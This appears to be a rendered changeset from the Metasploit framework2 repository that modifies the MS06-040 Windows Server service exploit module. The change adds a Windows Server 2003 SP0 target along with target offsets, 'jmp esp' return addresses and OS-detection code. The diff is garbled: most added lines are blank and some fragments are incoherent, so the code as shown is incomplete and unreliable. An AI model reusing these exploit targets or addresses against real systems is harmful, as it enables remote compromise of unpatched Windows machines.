Changeset 4023

Timestamp:

10/15/06 02:54:58 (2 years ago)

Author:

hdm

Message:

Windows 2003 method from Trirat

Files:

• framework2/trunk/exploits/netapi_ms06_040.pm (modified) (5 diffs)

framework2/trunk/exploits/netapi_ms06_040.pm

@@ -27 +27 @@
-          [
-                'H D Moore <hdm [at] metasploit.com>',
+                'Trirat Puttaraksa <trir00t [at] gmail.com>',
-          ],
-
@@ -66 +67 @@
-                will likely result in a complete reboot on Windows 2000 and the termination of all 
-                SMB-related services on Windows XP. The default target for this exploit should succeed
-
+
+
+
+
-          }
-          ),
@@ -80 +84 @@
-        'Targets'       =>
-          [
-
+, 2003 SP0
-                [ '(wcscpy) Windows NT 4.0 / Windows 2000 SP0-SP4', 1000, 0x00020804 ],
-                [ '(wcscpy) Windows XP SP0/SP1', 612, 0x00020804 ],
-                [ '(stack)  Windows XP SP1 English', 656, 680, 0x71ab1d54], # jmp esp @ ws2_32.dll
-                [ '(stack)  Windows XP SP1 Italian', 656, 680, 0x71a37bfb], # jmp esp @ ws2_32.dll (thanks diaul!)
+                [ '(wcscpy) Windows Server 2003 SP0', 612, 0x71c8c1ec],
-          ],
-
@@ -161 +166 @@
-        }
-        elsif ( $smb->PeerNativeOS =~ m/Windows Server 2003 (\d+)$/ ) {
+            $target = $self->Targets->[5];
-            $self->PrintLine("[*] Detected a Windows 2003 (Build $1 - No Service Pack) target");
-                        $self->PrintLine("[*] This system is not yet supported.");
-                        return;
-        }
-        elsif ( $smb->PeerNativeOS =~ m/Windows Server 2003 (\d+) Service Pack (\d+)/ ) {
@@ -272 +276 @@
-                        Pex::NDR::Long(int(rand(250)+1)).
-                        Pex::NDR::Long(0);
-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
-                $self->PrintLine("This target is not currently supported");
-                return;